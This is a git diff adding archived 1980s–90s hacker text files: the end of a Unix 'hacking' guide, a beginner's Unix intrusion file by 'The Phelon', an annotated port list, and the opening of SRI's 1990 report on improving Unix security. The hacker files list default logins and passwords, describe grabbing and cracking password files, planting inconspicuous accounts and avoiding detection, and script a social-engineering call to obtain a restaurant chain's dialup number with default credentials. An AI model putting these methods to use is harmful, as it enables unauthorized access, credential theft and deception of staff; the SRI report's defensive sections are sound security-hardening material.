will be Prosecuted!" or just "Unix System V" or +the like. At the least you will see a prompt saying "login:". At this point, +if possible, make sure that you are in lowercase, because if the computer det- +ects that you are typing in uppercase everything you read after will be in +uppercase with lowercase denoted by a \ in front of the word. This is because +Unix is case sensitive, so be careful, reading lowercase is much easier than +reading all uppercase and slashes. Ok, so here you are at the Unix "login:" +prompt. + +Part III: Logging on +--------------------- +At this point you must enter your login, and then, if the account ( +never more than 14 characters) has one, the password. Now, all Unix systems +have default accounts, and unless set by the Root System Operator no passwords. +This has been the means of infiltration by many the Unix hacker. There are two +types of accounts in a Unix, the "super user" and the "user". The super user +has access to almost everything (or everything depending on the system) and the +user basically has access to the files he owns and what he can sometimes read. +The default super user accounts on a unix are: + +ROOT +MAKEFSYS +MOUNTFSYS +UMOUNTFSYS +CHECKFSYS +and sometimes +ADMIN +SYSADMIN. + +For passwords to these try things like SYSTEM, SYSMAN, SYSADMIN, ADMINISTRATOR, +OPERATOR, SYSOP, etc. +The default user-level accounts are: +LP +DAEMON +TROUBLE +NUUCP +UUCP +RJE +ADM +SYSADM +SYNC +BIN + +(Note: These accounts should be entered in lower case , I merely wrote them +in upper case for easier reference.) +After being on Unix's, I have also seen the following common accounts: +USER +UNIX +GAMES +GUEST +STUDENT -on school run Unix's. + +The maximum length of a password is 11 characters. +After doing all this you should, with luck, be in! +If you couldn't hack anything out, try typing "WHO" at the login: prompt, it +may list all the user accounts and you can try them until you find one without +a password. + +Part IV: You're in!!! +---------------------- +Congratulate yourself, the hardest part of Unix "hacking" is over. Ok, +now that you're in you'll see a prompt which will probably look like "$" for a +user account or "#" if you got lucky and got a super user account. +(Quick note, to stop a unix process in action try typing ctrl-d or control +backspace, these are the end of file/Stop process keys.) +Ok, so you are now in. Let me give a quick lesson on Unix directories. In +Unix, the root is the main directory, and it contains subdirectories which may +contain subdirectories etc. In order to change to the root directory, one +would type "cd /". This is because "cd" is the command "change directory" and +"/" is the root directory. To change to subdirectory "Bill" contained in the +root directory, you would type "cd /Bill" or, if you were in the root dir, just +"cd Bill". If you wanted to access Bill's files, you'd enter "cd /Bill/files" +assuming Bill had a subdir called files where he kept his files. This is how +a person would move around in a Unix sys. Graphically, it looks like this: + + Root + __________!!_________ + !! + __Bill__ + !! + __Files__ + + +Part V: Basic Commands +----------------------- +Ok, these commands are the most useful ones that I've found and can are +entered from the prompt. + +Command:What it does +-------------------- +ls gives a listing of all files in a directory + +cat gives a dump to screen of what is contained in a file. For instance +"cat phones" would show me what is in file "phones". + +cd change directory + +pwd shows what directory path you are in now + +ps shows system processes + +rm remove a file, for instance "rm phones". + +rmdir removes a directory, for instance "rm Bill". + +grep print ascii strings in a file, ie "grep phones" + +who shows who's on the system + +mail sends mail to a user, syntax mail + +su change from 1 account to another. For instance, if you are account +Bill and wish to change to account Jake (which is unpassworded) just +type "su Jake" and you will change to him. If Jake has a password you +will be prompted to enter it. This is useful for login in under a +user account and switching later to a super user account. + +passwd allows a user to change his password. If you are a superuser you can +change someone elses password by typing "passwd ". + +mkuser make a user (providing you are a super user) + +mkdir create a directory + +More Information about Commands +------------------------------- +The following are more of the most basic Unix commands. + +cat cd chmod cp cut date +echo egrep fgrep file find glossary +grep help ln locate ls mail +mesg mkdir mv news pr ps +pwd rm sleep sort starter stty +tabs tail tee time touch tty +uname usage wall wc who write + +Using the Command: mkdir + +Syntax Summary: mkdir dir_name1 [ dir_name2 ...] + where: + dir_names are simple subdirectory names, + relative pathnames, or full pathnames + +Description: + mkdir creates one or more new directories. + If mkdir is given a simple name as an argument, the new + directory will be a subdirectory of the current directory. + You can make new directories anywhere in the file system + by giving mkdir a complete or relative pathname for the new + directories, if you have permission to write in the directory + where the new directory is to be created. + +Ok, those are the basic commands you will need to go around in the system. + +Part VI: Useful Information +---------------------------- +A great place to go to get information on who is on the system and +what accounts you can use to get on again is contained in the file "passwd" +in the "etc" directory. To look at it, cd etc, and then cat passwd. The +first entry should say something like this: + +root:adfaBADca:0:1:Operator:/:/bin/sh + +what this means is that the root account has an encrypted password, has super- +user capabilities (any user with a 0 in that slot is a super user) is in group +1 (relatively unimportant for this file), has a comment of Operator (this may +be blank), has a home directory of / (the root) and uses the Bourne Shell, kept +in the /bin directory. +You will then see all the other users listed out in the same format. If you +see an account followed by two colons, that means that it has no password. You +want these accounts so that you can log in under them another time. If you get +real lucky you may see something like this: + +makefsys::0:1:/bin:/bin/sh + +meaning that you have found a super user account with no password, a very +useful item indeed. + +Another good place to look is the /usr/spool dir and the +/usr/spool/cron/crontabs dir because if you are a super user that dir contains +much that will be useful to you. + +In order to move up to a directory one level higher than you are presently in, +type "cd ..". So to move from /Bill/files to /Bill I would just type cd .. +and, assuming I started in /Bill/files I would now be in /Bill. + +Ok, now you can wander the system "cat"'ing around and whatnot. If a file +doesn't "cat", try just typing it's name, that will execute it if you have the +privileges. Try typing "admin" or "ua" if you are a superuser nad maybe you'll +be able to create users or other interesting things. You may not be able to +cat a file or run it because you lack access permissions. What are they? Read +on! + +Access Permissions +------------------ +access permissions: permissions: mode: owner: +owner/group/others: read/write/execute + +As the user of a UNIX system, you can decide who can read, write, +and execute the files and directories that you own. You are +usually the owner of files and directories that you have created in +your login directory and in the "subdirectories"* in your login +directory. You may also own files in other peoples' directories. +You control the use of your files and directories by specifying the +access permissions, also called the mode, for each. You can specify +different access permissions for yourself, your "group"*, and the +other users of the system. Permission to read allows the user to +read the contents of the file. Write permission allows the user to +change the file and execute permission enables the user to execute +the program within the file. + +ls -l + +prints the access permissions for each file and directory in the +current directory. The sample listing below shows the mode of the +file (preceded by a -), the number of "links"*, the owner, the +"group ID"*, the size in characters, the date and time the file +was last modified, and the "filename"*. + +-rwxr-x--x 1 sandy 12345 128 Oct 9 9:32 lock + +If this were a listing for a directory, the hyphen (-) would be +replaced by the letter d. The owner of the file "lock" can read, +write and execute the file, the group can read and execute it, and +the others can only execute it. You can change the mode of your +files and directories by using the change mode command, chmod. + +Other interesting places to look are in the directories assigned to the users +on the Unix system, often their files will contain some useful information. +Also try going into the /uucp directory or looking for any uucp dir anywhere as +it may contain phone numbers to other Unix systems or other "goodies". + + +The *: asterisk +--------------- +In the shell, an asterisk matches any "string"* of characters in +a "filename"* on a command line. The command + +rm temp* + +removes all files from the current working directory that begin with +the string "temp". Files like "temp", "temp1", "temp.1", and +"temp.save" would all be deleted. An asterisk alone matches any +filename in the current working directory except those beginning +with "dot (.)"*. For example, + +rm * + +removes all the files in your directory except for the dot (.)files. + +Finally, typing help at the unix prompt may bring up a help manual that is +usually quite well done and will help you if you are stuck or wish to explore +in more depth the commands I didn't go into. + +Hmm, what else? I can't think of much more right now that would help you much +more, in this file I think I've covered everything that should get you well on +your way towards becoming a unix hacker. Once you've got this, start reading +files on "Unix Shells", "Scripts", and ask around A LOT. Ah, I just remembered +something. To get help on a command, type "man " or "whatis +" and you may find out. Also, a lot of Unix's have a built in Help feature +somewhere, try to get to it. + +Part VII: A Few Final Words +---------------------------- +If you manage to get onto a Unix system, don't screw it up. Unix is a +great operating system, and fun to learn on and have other people learn on. +Don't become a superuser and delete everything or other things, it's just not +worth it. Also, don't make a user called "Hacker" or "Shadow 1" or something, +that's a blatant giveaway. Put an account a little out of the way directory, +and create user level accounts if you must, and perhaps just 1 super user +level. I can't think of much more to say on the basics, though I probably left +some important things out....nobody's perfect. I hope you enjoyed the file and +I can be found on the following boards: + +The Private Connection +The Undergraduates Lounge +Quick Shop +Phreak Klass 2600 +The Brewery +The Works +Slaughterhouse 5, Holovision Network Node 1 +Spock's Brain + +Special Thanks to: The Prophet, for his excellent file: Unix Use and Security +From the Ground Up. + +The End, good luck, enjoy yourself, and don't get caught! + + Lord Lawless + Phortune 500/BOD + + --This has been a Lord Lawless Presentation, (C) 1987.-- + + +(C) 1987 Phortune 500 + + + + \ No newline at end of file diff --git a/textfiles.com/hacking/UNIX/phelon1.txt b/textfiles.com/hacking/UNIX/phelon1.txt new file mode 100644 index 00000000..437c6b1c --- /dev/null +++ b/textfiles.com/hacking/UNIX/phelon1.txt @@ -0,0 +1,224 @@ + + ±²²±²²±²²±²²±²²±²²±²²±²²±²²±²²±²²±²²±²²±²²±²²±²²±²²±²²±²²±²²±²² + / + THE _ * * * /\ / + // ////////// \\\\ \\\\ | Ý_ * * / \ / + // // \\\ \\\ |- * * / \ / + // //////// \\\\ //////\\\\ |_ * * / \ / + // \\\ \\\ * * / \/ +/// \\\\ \\\\ * * * / +///// + + brings you another text phile and another bad ascii signature. +ok this file will be about.. hmm.. let's see. how about unix. +ok. well today we will talk about unices for the beginner, and then +just as a side topic, one of my faves of all time, the tacobell unix. +;) anyways if you are a beginner at unix then you should rtfm but i guess +since this is supposed to be the fm that you should read on. +(riiiight??) on the other hand, if you're more experienced with unix, +check out the files "PHELON2.UNX" and "PHELON3.UNX" for more advanced +unix hacking techniques. + + +ok .. let's start out with some defaults to help you out: + +(root access - never seen any where the root pw was not changed.) +root +cron +adm +admin +sysadmin +sysadm +checkfsys +checkssys +umountfsys +makefsys +lpadmin + + + - those are just a few with "root" access.. here are some more logins + that may or may not have root privileges. + +bin +daemon +lp +uucp +sysdiag +tech +diag +... and on and on and on... but this isn't a defaults list so we won't go +on and on and on. Find the phile "phelon.pws" written by yours truly +for the biggest default list around. + + + but once you're in... + +OK, say you managed to get your bumbling butt to a $ prompt or even +better (and even more unlikely - heheh) a # prompt then here is what you do. + +TO START OUT: + +get the passwd file + +turn on your term program's capture + +$ypcat passwd + +once it's done turn off the capture and save the buffered file. or whatever. +if THAT didn't work, then type + +$sz passwd + +this is even more unlikely to work... but it does work surprisingly often. + ok now assuming you have the passwd file you go get a lame cracking +program like crack or crackerjack and run it over the passwd file with a +zillion wordlists, and of course, data from the GECOS fields. More advanced +hacking comes later, for now get the accts and be happy until you reach +the next section in this file concerning this. + + BUT WAIT A MINUTE! I never got in! + +ok say that the system you are trying to crack is super tight and is +harder than a sonofabitch to get into. my first advice would be to leave +it alone. however, if not then continue to the advanced section and try +out the techniques described there. + + + OK here we go with more intermediate hacking.. + +ok say you want to find out all you can about a certain system. the first +thing you should do is 'telnet 79'.. this will telnet you to +port 79 of the target un*x. Basically what this will do is show you who +is logged on and a bunch of info about them. (oh, i should mention that +a *lot* of systems have this little feature blocked..;).. but if you know the +name of someone on the system you can still finger them remotely by using +"finger user@host".. pretty elementary shit. OK another telnet port you +should know about and use actively is 25. this will show you the version +of everyone's fave prog, sendmail! heheh.. look for a good file written +by i forget who bearing the title of sendmail.. this file has lots +of good exploits for the beginning to intermediate unix hacker. :) + + +**HEY! I TRIED USING A PASSWD CRACKING PROG, BUT NOTHING WORKS! THE +GECOS FIELDS ARE JUST FILLED WITH AN "X" or "*" WHERE THE ENCRYPTED PASSWD IS +SUPPOSED TO BE!!! + +well calm down.. this is something called passwd shadowing, and to overcome +it you will need either a program like unshad.c, shadowpw.c, etc etc., that +will deshadow the passwd file so you can crack it or whatever. or you +can write one for yourself... + +oh yeah, i almost forgot. here are some basic commands in unix.. + + ls - lists directory. often used arguments are -al (all) and + -alF (all + hidden.) + sz - send zmodem + rz - receive zmodem. up a trojan horse. ;) + chmod - change file permissions. + chown - change file ownership + finger - finger a user + fortune - your fortune. heheheh + telnet - telnet + gopher - gopher + lynx - lynx (unix's shitty version of a web browser.) + irc - irc + setenv (BSD, SysV) change environment variables such as your + IRCNAME, etc. + declare -x (Linux) pretty much the same as setenv but for linux + more < best way of reading a file (unless it's the passwd + file in which case it doesn't show you the whole thing.) + ftp - ftp + lp - print + cu - dialout + makefile - compile a prog + su - use it to try to hax root. + setuid - set your user id shell + rm - delete a file + cd - change directory + rmdir - remove a dir + mkdir - make a directory + mv - move or rename a file + vi - vi txt editor + trn/tin/slrn - news readers + elm - text editor + emacs - text editor + +oh and that other thing.. the tacobell unices. + +TACO BELL is a funny place to hack. i mean come on.. taco bell. the +security *always* sux! so anyways... +1) find the store #. this is accomplished by kalling your local taco hell +and saying: +"I am Joe Schmoe the taco bell hoe and i need to speak to your manager." +then when u are talking to the manager: +"yeah, i need to know your store #" +then they will say some shit or other and usually they will be cooperative. +ONCE you have the store #, what you do is dial THIS #: +*1.800.sos.taco* +now once you dial this # u will be presented with a series of automated +voice questions, etc, etc, bullshit yada yada so on and so forth. just keep +pressing whatever sounds relevant (like 1, for computer stuph) until you get +a voice. ONCE you have the voice: +sucker: "yes, can i help you?" +you: "yes, my name is bill clinton, and i'm the social engineer for the local +branch of taco bell. we were having problems connecting to our computer, and +were wondering whether what # we were supposed to dial." +sucker: "ok, hangon a second. what is your store #?" + +sucker: "ok, that's , right? the number is XXX-XXXX" +you: "ok, thanks a lot!" +sucker: "is that all the information you needed?!" +you: "yeah, turns out we were dialing the wrong number. oops. heh." +sucker: "heheh yeah that is kind of funny." +you: "sure is. well thanks for the information, and tell your wife she +gives great head. bye." + + +(for the people out there who hang on #hack, some of that stuff you +quite obviously wouldn't, and shouldn't, really say. ) + +NOW you dialup the number the sucker gave you... +once you are connected you will see the usual taco bell bullshit. +you can login with either: + + tacobell/ no password + rgm/rollout + +and then once you're in just phuxor around or have a truckload of beans +shipped to your enemy's house or whatever you feel like doing. + +for all the ppl in 612 here is the taco bell dialup for that ac: +888-5411 +-------------------------- + +well anyway that's about it .. this was a lame text phile written in +the middle of a class in skool (no joking i am supposed to be typing up +some shit about the civil war. heheh) so catch me on irc (i'll probably +be banned from all the channels..heh) look for phelon and remember... + + "paranoia is a state of perfect awareness" + +check for these other fine files written by the phelon +PHELON2.UNX (intermediate unix hacking), PHELON3.UNX (advanced unix hacking), +PHELON.VMS, PHELON.CBI, PHELON.DEF (system75/definity), PHELON.PWS + + + + Error 23 - 612-869-2119 - sysop Bandon - looks like a normal + gamer board, all the kewl stuff is hidden deep in the heart + of the hard drive.. prove yourself for access to the secret areas! + + + phuck all warez d00dz and k)dez kidz and fedz and the lamers on #hack. + + thanks and hellos to deadfall, unslider, and bandon - these guys are truly + elite and have helped me out a ton. + also hello to mara and spyder.. , and everyone else who i + would have remembered if i really gave a fuck about them one way or + another...hehehe j/k, and that's REALLY the end of this fine text, cuz + the bell is ringing. adios... + + - The Phelon + + diff --git a/textfiles.com/hacking/UNIX/ports.txt b/textfiles.com/hacking/UNIX/ports.txt new file mode 100644 index 00000000..a7656b0f --- /dev/null +++ b/textfiles.com/hacking/UNIX/ports.txt @@ -0,0 +1,50 @@ +Port number Service Why it's phun! + +7 echo Whatever you type in, the host repeats back to you + +9 discard Dev/null -- how fast can you figure out this one? + +11 systat Lots of info on users + +13 daytime Time and date at computer's location + +15 netstat Tremendous info on networks + +19 chargen Pours out a stream of ASCII characters. Use ^C to stop. + +21 ftp Transfers files + +23 telnet Where you log in. + +25 smpt Forge email from Bill.Gates@Microsoft.org. + +37 time Time + +39 rlp Resource location + +43 whois Info on hosts and networks + +53 domain Nameserver + +70 gopher Out-of-date info hunter + +79 finger Lots of info on users + +80 http Web server + +110 pop Incoming email + +119 nntp Usenet news groups -- forge posts, cancels + +443 shttp Another web server + +512 biff Mail notification + +513 rlogin Remote login + who Remote who and uptime + +514 shell Remote command, no password used! + syslog Remote system logging + +520 route Routing information protocol + diff --git a/textfiles.com/hacking/UNIX/secdoc.hac b/textfiles.com/hacking/UNIX/secdoc.hac new file mode 100644 index 00000000..f730df2c --- /dev/null +++ b/textfiles.com/hacking/UNIX/secdoc.hac @@ -0,0 +1,8710 @@ + + + + + + + + + + + + + + + + + + + Final Report o April 1990 + + + + + + + + IMPROVING THE SECURITY OF YOUR + + UNIX SYSTEM + + + + + + David A. Curry, Systems Programmer + + Information and Telecommunications Sciences and + + Technology Division + + + + ITSTD-721-FR-90-21 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Approved: + + + + Paul K. Hyder, Manager + + Computer Facility + + + + Boyd C. Fair, General Manager + + Division Operations Section + + + + Michael S. Frankel, Vice President + + Information and Telecommunications Sciences and + + Technology Division + + + + + + + + + + + + + + + + + + + + SRI International 333 Ravenswood Avenue o Menlo Park, CA 94025 o + + (415) 326-6200 o FAX: (415) 326-5512 o Telex: 334486 + + + + + + + + + + + + + + + + + + + + + + CONTENTS + + + + + + + + 1 INTRODUCTION........................................... 1 + + 1.1 UNIX Security.......................................... 1 + + 1.2 The Internet Worm...................................... 2 + + 1.3 Spies and Espionage.................................... 3 + + 1.4 Other Break-Ins........................................ 4 + + 1.5 Security is Important.................................. 4 + + + + 2 IMPROVING SECURITY..................................... 5 + + 2.1 Account Security....................................... 5 + + 2.1.1 Passwords.............................................. 5 + + 2.1.1.1 Selecting Passwords.................................... 6 + + 2.1.1.2 Password Policies...................................... 8 + + 2.1.1.3 Checking Password Security............................. 8 + + 2.1.2 Expiration Dates....................................... 9 + + 2.1.3 Guest Accounts......................................... 10 + + 2.1.4 Accounts Without Passwords............................. 10 + + 2.1.5 Group Accounts and Groups.............................. 10 + + 2.1.6 Yellow Pages........................................... 11 + + 2.2 Network Security....................................... 12 + + 2.2.1 Trusted Hosts.......................................... 13 + + 2.2.1.1 The hosts.equiv File................................... 13 + + 2.2.1.2 The .rhosts File....................................... 14 + + 2.2.2 Secure Terminals....................................... 15 + + 2.2.3 The Network File System................................ 16 + + 2.2.3.1 The exports File....................................... 16 + + 2.2.3.2 The netgroup File...................................... 17 + + 2.2.3.3 Restricting Super-User Access.......................... 18 + + 2.2.4 FTP.................................................... 19 + + 2.2.4.1 Trivial FTP............................................ 20 + + 2.2.5 Mail................................................... 21 + + 2.2.6 Finger................................................. 22 + + 2.2.7 Modems and Terminal Servers............................ 23 + + 2.2.8 Firewalls.............................................. 23 + + 2.3 File System Security................................... 24 + + 2.3.1 Setuid Shell Scripts................................... 25 + + 2.3.2 The Sticky Bit on Directories.......................... 26 + + 2.3.3 The Setgid Bit on Directories.......................... 26 + + 2.3.4 The umask Value........................................ 27 + + 2.3.5 Encrypting Files....................................... 27 + + 2.3.6 Devices................................................ 28 + + 2.4 Security Is Your Responsibility........................ 29 + + + + 3 MONITORING SECURITY.................................... 31 + + 3.1 Account Security....................................... 31 + + 3.1.1 The lastlog File....................................... 31 + + 3.1.2 The utmp and wtmp Files................................ 31 + + 3.1.3 The acct File.......................................... 33 + + 3.2 Network Security....................................... 34 + + + + + + + + iii + + + + + + + + + + + + + + + + + + + + + + + + CONTENTS (concluded) + + + + + + + + 3.2.1 The syslog Facility.................................... 34 + + 3.2.2 The showmount Command.................................. 35 + + 3.3 File System Security................................... 35 + + 3.3.1 The find Command....................................... 36 + + 3.3.1.1 Finding Setuid and Setgid Files........................ 36 + + 3.3.1.2 Finding World-Writable Files........................... 38 + + 3.3.1.3 Finding Unowned Files.................................. 38 + + 3.3.1.4 Finding .rhosts Files.................................. 39 + + 3.3.2 Checklists............................................. 39 + + 3.3.3 Backups................................................ 40 + + 3.4 Know Your System....................................... 41 + + 3.4.1 The ps Command......................................... 41 + + 3.4.2 The who and w Commands................................. 42 + + 3.4.3 The ls Command......................................... 42 + + 3.5 Keep Your Eyes Open.................................... 42 + + + + 4 SOFTWARE FOR IMPROVING SECURITY........................ 45 + + 4.1 Obtaining Fixes and New Versions....................... 45 + + 4.1.1 Sun Fixes on UUNET..................................... 45 + + 4.1.2 Berkeley Fixes......................................... 46 + + 4.1.3 Simtel-20 and UUNET.................................... 47 + + 4.1.4 Vendors................................................ 47 + + 4.2 The npasswd Command.................................... 48 + + 4.3 The COPS Package....................................... 48 + + 4.4 Sun C2 Security Features............................... 49 + + 4.5 Kerberos............................................... 50 + + + + 5 KEEPING ABREAST OF THE BUGS............................ 51 + + 5.1 The Computer Emergency Response Team................... 51 + + 5.2 DDN Management Bulletins............................... 51 + + 5.3 Security-Related Mailing Lists......................... 52 + + 5.3.1 Security............................................... 52 + + 5.3.2 RISKS.................................................. 52 + + 5.3.3 TCP-IP................................................. 53 + + 5.3.4 SUN-SPOTS, SUN-NETS, SUN-MANAGERS...................... 53 + + 5.3.5 VIRUS-L................................................ 53 + + + + 6 SUGGESTED READING...................................... 55 + + + + 7 CONCLUSIONS............................................ 57 + + + + REFERENCES..................................................... 59 + + + + APPENDIX A - SECURITY CHECKLIST................................ 63 + + + + + + + + + + + + + + iv + + + + + + + + + + + + + + + + + + + + + + SECTION 1 + + + + INTRODUCTION + + + + + + 1.1 UNIX SECURITY + + + + + + + + The UNIX operating system, although now in widespread use + + in environments concerned about security, was not really + + designed with security in mind [Ritc75]. This does not mean + + that UNIX does not provide any security mechanisms; indeed, + + several very good ones are available. However, most ``out of + + the box'' installation procedures from companies such as Sun + + Microsystems still install the operating system in much the + + same way as it was installed 15 years ago: with little or no + + security enabled. + + + + The reasons for this state of affairs are largely histori- + + cal. UNIX was originally designed by programmers for use by + + other programmers. The environment in which it was used was + + one of open cooperation, not one of privacy. Programmers typi- + + cally collaborated with each other on projects, and hence pre- + + ferred to be able to share their files with each other without + + having to climb over security hurdles. Because the first sites + + outside of Bell Laboratories to install UNIX were university + + research laboratories, where a similar environment existed, no + + real need for greater security was seen until some time later. + + + + In the early 1980s, many universities began to move their + + UNIX systems out of the research laboratories and into the com- + + puter centers, allowing (or forcing) the user population as a + + whole to use this new and wonderful system. Many businesses + + and government sites began to install UNIX systems as well, + + particularly as desktop workstations became more powerful and + + affordable. Thus, the UNIX operating system is no longer being + + used only in environments where open collaboration is the goal. + + Universities require their students to use the system for class + + assignments, yet they do not want the students to be able to + + copy from each other. Businesses use their UNIX systems for + + confidential tasks such as bookkeeping and payroll. And the + + government uses UNIX systems for various unclassified yet sen- + + sitive purposes. + + + + To complicate matters, new features have been added to + + UNIX over the years, making security even more difficult to + + control. Perhaps the most problematic features are those + + _________________________ + + UNIX is a registered trademark of AT&T. VAX is a trademark of + + Digital Equipment Corporation. Sun-3 and NFS are trademarks of + + Sun Microsystems. Annex is a trademark of Xylogics, Inc. + + + + + + + + 1 + + + + + + + + + + + + + + + + + + + + + + relating to networking: remote login, remote command execu- + + tion, network file systems, diskless workstations, and elec- + + tronic mail. All of these features have increased the utility + + and usability of UNIX by untold amounts. However, these same + + features, along with the widespread connection of UNIX systems + + to the Internet and other networks, have opened up many new + + areas of vulnerability to unauthorized abuse of the system. + + + + + + 1.2 THE INTERNET WORM + + + + + + + + On the evening of November 2, 1988, a self-replicating + + program, called a worm, was released on the Internet [Seel88, + + Spaf88, Eich89]. Overnight, this program had copied itself + + from machine to machine, causing the machines it infected to + + labor under huge loads, and denying service to the users of + + those machines. Although the program only infected two types + + of computers,* it spread quickly, as did the concern, confu- + + sion, and sometimes panic of system administrators whose + + machines were affected. While many system administrators were + + aware that something like this could theoretically happen - the + + security holes exploited by the worm were well known - the + + scope of the worm's break-ins came as a great surprise to most + + people. + + + + The worm itself did not destroy any files, steal any + + information (other than account passwords), intercept private + + mail, or plant other destructive software [Seel88]. However, + + it did manage to severely disrupt the operation of the network. + + Several sites, including parts of MIT, NASA's Ames Research + + Center and Goddard Space Flight Center, the Jet Propulsion + + Laboratory, and the U. S. Army Ballistic Research Laboratory, + + disconnected themselves from the Internet to avoid recontamina- + + tion. In addition, the Defense Communications Agency ordered + + the connections between the MILNET and ARPANET shut down, and + + kept them down for nearly 24 hours [Eich89, Elme88]. Ironi- + + cally, this was perhaps the worst thing to do, since the first + + fixes to combat the worm were distributed via the network + + [Eich89]. + + + + This incident was perhaps the most widely described com- + + puter security problem ever. The worm was covered in many + + newspapers and magazines around the country including the New + + York Times, Wall Street Journal, Time and most computer- + + oriented technical publications, as well as on all three major + + _________________________ + + * Sun-3 systems from Sun Microsystems and VAX systems from + + Digital Equipment Corp., both running variants of 4.x BSD UNIX + + from the University of California at Berkeley. + + + + + + + + + + 2 + + + + + + + + + + + + + + + + + + + + + + television networks, the Cable News Network, and National Pub- + + lic Radio. In January 1990, a United States District Court + + jury found Robert Tappan Morris, the author of the worm, guilty + + of charges brought against him under a 1986 federal computer + + fraud and abuse law. Morris faces up to five years in prison + + and a $250,000 fine [Schu90]. Sentencing is scheduled for May + + 4, 1990. + + + + + + 1.3 SPIES AND ESPIONAGE + + + + + + + + In August 1986, the Lawrence Berkeley Laboratory, an + + unclassified research laboratory at the University of Califor- + + nia at Berkeley, was attacked by an unauthorized computer + + intruder [Stol88, Stol89]. Instead of immediately closing the + + holes the intruder was using, the system administrator, Clif- + + ford Stoll, elected to watch the intruder and document the + + weaknesses he exploited. Over the next 10 months, Stoll + + watched the intruder attack over 400 computers around the + + world, and successfully enter about 30. The computers broken + + into were located at universities, military bases, and defense + + contractors [Stol88]. + + + + Unlike many intruders seen on the Internet, who typically + + enter systems and browse around to see what they can, this + + intruder was looking for something specific. Files and data + + dealing with the Strategic Defense Initiative, the space shut- + + tle, and other military topics all seemed to be of special + + interest. Although it is unlikely that the intruder would have + + found any truly classified information (the Internet is an + + unclassified network), it was highly probable that he could + + find a wealth of sensitive material [Stol88]. + + + + After a year of tracking the intruder (eventually involv- + + ing the FBI, CIA, National Security Agency, Air Force Intelli- + + gence, and authorities in West Germany), five men in Hannover, + + West Germany were arrested. In March 1989, the five were + + charged with espionage: they had been selling the material + + they found during their exploits to the KGB. One of the men, + + Karl Koch (``Hagbard''), was later found burned to death in an + + isolated forest outside Hannover. No suicide note was found + + [Stol89]. In February 1990, three of the intruders (Markus + + Hess, Dirk Bresinsky, and Peter Carl) were convicted of + + espionage in a German court and sentenced to prison terms, + + fines, and the loss of their rights to participate in elections + + [Risk90]. The last of the intruders, Hans Hu"bner (``Pengo''), + + still faces trial in Berlin. + + + + + + + + + + + + + + 3 + + + + + + + + + + + + + + + + + + + + + + 1.4 OTHER BREAK-INS + + + + + + + + Numerous other computer security problems have occurred in + + recent years, with varying levels of publicity. Some of the + + more widely known incidents include break-ins on NASA's SPAN + + network [McLe87], the IBM ``Christmas Virus'' [Risk87], a virus + + at Mitre Corp. that caused the MILNET to be temporarily iso- + + lated from other networks [Risk88], a worm that penetrated DEC- + + NET networks [Risk89a], break-ins on U. S. banking networks + + [Risk89b], and a multitude of viruses, worms, and trojan horses + + affecting personal computer users. + + + + + + 1.5 SECURITY IS IMPORTANT + + + + + + + + As the previous stories demonstrate, computer security is + + an important topic. This document describes the security + + features provided by the UNIX operating system, and how they + + should be used. The discussion centers around version 4.x of + + SunOS, the version of UNIX sold by Sun Microsystems. Most of + + the information presented applies equally well to other UNIX + + systems. Although there is no way to make a computer com- + + pletely secure against unauthorized use (other than to lock it + + in a room and turn it off), by following the instructions in + + this document you can make your system impregnable to the + + ``casual'' system cracker,* and make it more difficult for the + + sophisticated cracker to penetrate. + + + + + + + + + + + + + + + + + + + + + + + + _________________________ + + * The term ``hacker,'' as applied to computer users, originally + + had an honorable connotation: ``a person who enjoys learning the + + details of programming systems and how to stretch their + + capabilities - as opposed to most users of computers, who prefer + + to learn only the minimum amount necessary'' [Stee88]. + + Unfortunately, the media has distorted this definition and given + + it a dishonorable meaning. In deference to the true hackers, we + + will use the term ``cracker'' throughout this document. + + + + + + + + + + 4 + + + + + + + + + + + + + + + + + + + + + + + + SECTION 2 + + + + IMPROVING SECURITY + + + + + + + + UNIX system security can be divided into three main areas + + of concern. Two of these areas, account security and network + + security, are primarily concerned with keeping unauthorized + + users from gaining access to the system. The third area, file + + system security, is concerned with preventing unauthorized + + access, either by legitimate users or crackers, to the data + + stored in the system. This section describes the UNIX security + + tools provided to make each of these areas as secure as possi- + + ble. + + + + + + 2.1 ACCOUNT SECURITY + + + + + + + + One of the easiest ways for a cracker to get into a system + + is by breaking into someone's account. This is usually easy to + + do, since many systems have old accounts whose users have left + + the organization, accounts with easy-to-guess passwords, and so + + on. This section describes methods that can be used to avoid + + these problems. + + + + + + 2.1.1 Passwords + + + + + + + + The password is the most vital part of UNIX account secu- + + rity. If a cracker can discover a user's password, he can then + + log in to the system and operate with all the capabilities of + + that user. If the password obtained is that of the super-user, + + the problem is more serious: the cracker will have read and + + write access to every file on the system. For this reason, + + choosing secure passwords is extremely important. + + + + The UNIX passwd program [Sun88a, 379] places very few res- + + trictions on what may be used as a password. Generally, it + + requires that passwords contain five or more lowercase letters, + + or four characters if a nonalphabetic or uppercase letter is + + included. However, if the user ``insists'' that a shorter + + password be used (by entering it three times), the program will + + allow it. No checks for obviously insecure passwords (see + + below) are performed. Thus, it is incumbent upon the system + + administrator to ensure that the passwords in use on the system + + are secure. + + + + + + + + 5 + + + + + + + + + + + + + + + + + + + + + + In [Morr78], the authors describe experiments conducted to + + determine typical users' habits in the choice of passwords. In + + a collection of 3,289 passwords, 16% of them contained three + + characters or less, and an astonishing 86% were what could gen- + + erally be described as insecure. Additional experiments in + + [Gram84] show that by trying three simple guesses on each + + account - the login name, the login name in reverse, and the + + two concatenated together - a cracker can expect to obtain + + access to between 8 and 30 percent of the accounts on a typical + + system. A second experiment showed that by trying the 20 most + + common female first names, followed by a single digit (a total + + of 200 passwords), at least one password was valid on each of + + several dozen machines surveyed. Further experimentation by + + the author has found that by trying variations on the login + + name, user's first and last names, and a list of nearly 1800 + + common first names, up to 50 percent of the passwords on any + + given system can be cracked in a matter of two or three days. + + + + + + 2.1.1.1 Selecting Passwords + + + + + + + + The object when choosing a password is to make it as dif- + + ficult as possible for a cracker to make educated guesses about + + what you've chosen. This leaves him no alternative but a + + brute-force search, trying every possible combination of + + letters, numbers, and punctuation. A search of this sort, even + + conducted on a machine that could try one million passwords per + + second (most machines can try less than one hundred per + + second), would require, on the average, over one hundred years + + to complete. With this as our goal, and by using the informa- + + tion in the preceding text, a set of guidelines for password + + selection can be constructed: + + + + o Don't use your login name in any form (as-is, + + reversed, capitalized, doubled, etc.). + + + + o Don't use your first or last name in any form. + + + + o Don't use your spouse's or child's name. + + + + o Don't use other information easily obtained about + + you. This includes license plate numbers, telephone + + numbers, social security numbers, the brand of your + + automobile, the name of the street you live on, etc. + + + + o 